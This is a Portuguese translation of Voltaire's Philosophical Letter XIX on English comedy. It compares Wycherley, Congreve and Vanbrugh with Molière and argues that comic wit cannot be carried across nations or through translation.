Cartas Filosóficas de Voltaire
CARTA XIX
Sobre a comédia
Se na maior parte das tragédias inglesas os heróis são emproados e as heroínas extravagantes, em compensação o estilo é mais natural na comédia. Mas esse natural nos parece, com frequência, antes o do deboche do que o da honestidade. Ali chama-se cada coisa pelo seu nome… Alguns cínicos aceitam e defendem essas expressões grosseiras. . . Bayle pretende que tais expressões são indiferentes, no que ele, os cínicos e os estóicos parecem enganar-se, pois cada coisa tem os nomes com que a pintam sob diversos aspectos e que lhe dão ideias muito diversas. As palavras não podem ser indiferentes; não existem, no rigor da expressão, sinónimos. O que não se deve é pronunciar em público uma palavra que uma mulher honesta não possa repetir.
Os Ingleses tomaram, desfiguraram e estragaram a maior parte das peças de Molière. Quiseram fazer um Tartufo: era impossível que este tema obtivesse êxito em Londres, pela simples razão de que não interessam os retratos de pessoas que não conhecemos. Uma das grandes vantagens da nação inglesa é não possuir Tartufos. Para que ali houvesse falsos devotos seria preciso havê-los verdadeiros. E ali quase não se conhece a categoria de devoto, mas sim a de homem honesto. A filosofia, a liberdade e o clima conduzem à misantropia: Londres, desprovida de Tartufos, está cheia de Timons. Também o Misantropo ou O homem de franco procedimento é uma das boas comédias a que assistimos em Londres. Foi escrita no tempo em que Carlos II e sua corte brilhante procuravam libertar a nação do seu humor negro. Wicherley, autor dessa obra, que passara sua existência na alta roda, conhecia-lhe perfeitamente os vícios e os ridículos, e os pintava com o mais firme pincel e com as cores mais reais. Os traços de Wicherley são mais fortes e mais ousados do que os do nosso Misantropo, como também possuem menos finura e menos decência. O autor inglês corrigiu o único defeito existente na peça de Moliere: a ausência de intriga e de interesse. A peça inglesa é interessante e a intriga engenhosa; mas não deixa de ser ousada para os nossos costumes. . .
Aquele entre todos os ingleses a elevar mais alto a glória do teatro cómico foi o falecido Congrève. Escreveu poucas peças, mas todas excelentes no género. As regras do teatro são aí rigorosamente observadas, e as peças estão cheias de caracteres matizados com extrema finura; não se encontra o menor gracejo de mau gosto; vereis, em todas as passagens, linguagem de gente honesta com acções de velhacos, o que prova que o autor conhecia bem o seu mundo e vivia naquilo que nos acostumamos a chamar de boa sociedade. Suas peças são as mais espirituosas e as mais reais; as de Van Brugh, as mais alegres; as de Wicherley, as mais fortes.
Deve-se notar não haver nenhum de tão belos espíritos falado mal de Moliere. Só os maus autores ingleses têm detratado esse grande homem… De resto, não me pedis para entrar aqui no mínimo detalhe das peças inglesas, de que me considero grande admirador, nem para reportar-vos um dito feliz ou um dos gracejos dos Wicherley e dos Congrève. Não vos rireis absolutamente diante de uma tradução. Se quiserdes conhecer a comédia inglesa, não há outro meio para isso senão ir a Londres, ali ficar três anos, aprender bem o inglês e assistir à comédia todos os dias. Não encontro grande prazer em ler Plauto e Aristófanes. Por quê? Porque não sou nem grego nem romano. A finura dos ditos de espírito, das alusões, dos a-propósitos, tudo isso escapa ao estrangeiro.
Não acontece o mesmo com a tragédia. Nela se trata das mandes paixões e das tolices heróicas, consagradas pelos velhos erros da fábula ou da história. Édipo, Electra pertencem aos Espanhóis, aos Ingleses e a nós, como aos Gregos. Mas a boa comédia é a pintura oral dos ridículos de uma nação; e se não conheceis a nação a fundo, pouco podereis julgar da pintura.
Fonte: VOLTAIRE. Clássicos Jackson vol XXII. Tradução de Brito Broca.
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